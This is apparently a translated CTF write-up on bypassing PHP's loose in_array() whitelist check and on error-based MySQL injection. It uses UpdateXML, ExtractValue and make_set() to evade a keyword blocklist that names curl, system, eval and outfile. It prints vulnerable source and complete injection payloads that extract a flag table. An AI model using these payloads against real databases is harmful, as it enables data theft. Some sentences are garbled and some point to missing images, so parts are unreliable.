0x01 Background
Day 1 - Wish List
Can you spot the vulnerability?
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
The key issue is in_array().function; first examineDefinition of in_array():
in_array(search,array,type)
| Parameter | Description |
|---|---|
| search | Required. The value to search for in the array. |
| array | Required. The array to search. |
| type | Optional. When true, both value and type must match. |
If search exists in array, the function returns true. With type=true, both value and type must match. Otherwise it returns false. When search is a string and type=true, matching is case-sensitive.
In the example above:
in_array($this->file['name'], $this->whitelist)
Only two arguments are supplied and the third is not true. A filename beginning with a number, such as 9shell.php, therefore bypasses the check.
When PHP compares the filename with the whitelist array, 9shell.php is converted to the number 9 before comparison.
0x02 Further Analysis
A CTF example illustrates the issue:
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
The challenge uses an exposed .svn directory to recover index.php and config.php. Sensitive information in config.php is hidden, so the source must be audited to construct a payload and retrieve the flag.
index.php reads id from GET and checks whether it is in the whitelist. If not, it returns 'id $id is not in whitelist'; if allowed, it executes an SQL query and returns the result.
The key in config.php is stop_hack, a filter that blocks string-concatenation functions. This prevents direct use of UNION SELECT and common functions such as hex() to recover the flag.
The challenge tests an in_array() bypass and extraction of the flag without conventional string concatenation.
The in_array() bypass should now be clear. The focus here is using UpdateXML injection to retrieve the flag.
UPDATEXML (XML_document, XPath_string, new_value);
Argument 1, XML_document, is the XML document name as a string—Doc here. Argument 2, XPath_string, is an XPath expression. Argument 3, new_value, is the replacement string. The function changes values of matching nodes in the document.
A simple example is:
select * from users where id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1);
UpdateXML has a useful property: when queried data contains a letter or special character, its error message includes that character and the content following it. Querying 99panda, for example, displays panda.
database() returns the database name and CONCAT converts it to a string. UpdateXML expects its second argument to be an XPath string, so the invalid value produces an error containing the data.
The final value is:
ERROR 1105 (HY000): XPATH syntax error: '|day1|'
String concatenation is filtered, so CONCAT cannot be used. A less common function—make_set()—provides an alternative.
MAKE_SET(bits,str1,str2,…)
Returns a string containing selected values separated by the delimiter ','. str1 corresponds to bit 0, str2 to bit 1, and so on. NULL entries are omitted.
Several simple examples follow.
Select make_set(1,'a','b','c');
The conversion is:

bits becomes binary. 1 is 0001, reversed to 1000. Characters at set bits are selected unless empty, so the result is a.

Select make_set(1|4,'a','b','c');
This resembles the previous process but includes a bitwise OR. 1 is 0001, 4 is 0100, and OR produces:
The result is 0101, reversed to 1010, producing a and c.
In summary, combine UpdateXML with make_set() to process the string:
select updatexml(1,make_set(3,'~',(select flag from flag)),1);
The final payload contains:

1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
0x03 Conclusion
UpdateXML is not the only solution.
ExtractValue() is a counterpart to UpdateXML().
The details of ExtractValue are omitted; interested readers can look them up. The function enables a similar MySQL statement:

select extractvalue(0x0a,concat(0x0a,( select flag from flag)));
It also requires CONCAT, so replace it with make_set():

select extractvalue(0x0a,make_set(3,'~',(select flag from flag)));
The final payload is:

1 and (select extractvalue(0x0a,make_set(3,'~',(select flag from flag))))
make_set() is not the only option. Similar functions include export_set(), lpad(), reverse(), and repeat(), though the latter three require at least one special character in the extracted value. Using export_set() instead produces:
1 and (select extractvalue(0x0a,export_set(3,'~',(select flag from flag))))
But then we find:
A direct MySQL query does work:
Closer inspection shows that export_set() contains the letters 'or', which are filtered, so this path fails.
0x04 References
MySQL UpdateXML Error-Based Injection
Learning Error-Based Injection with ExtractValue() and UpdateXML()
Several simple examples follow.
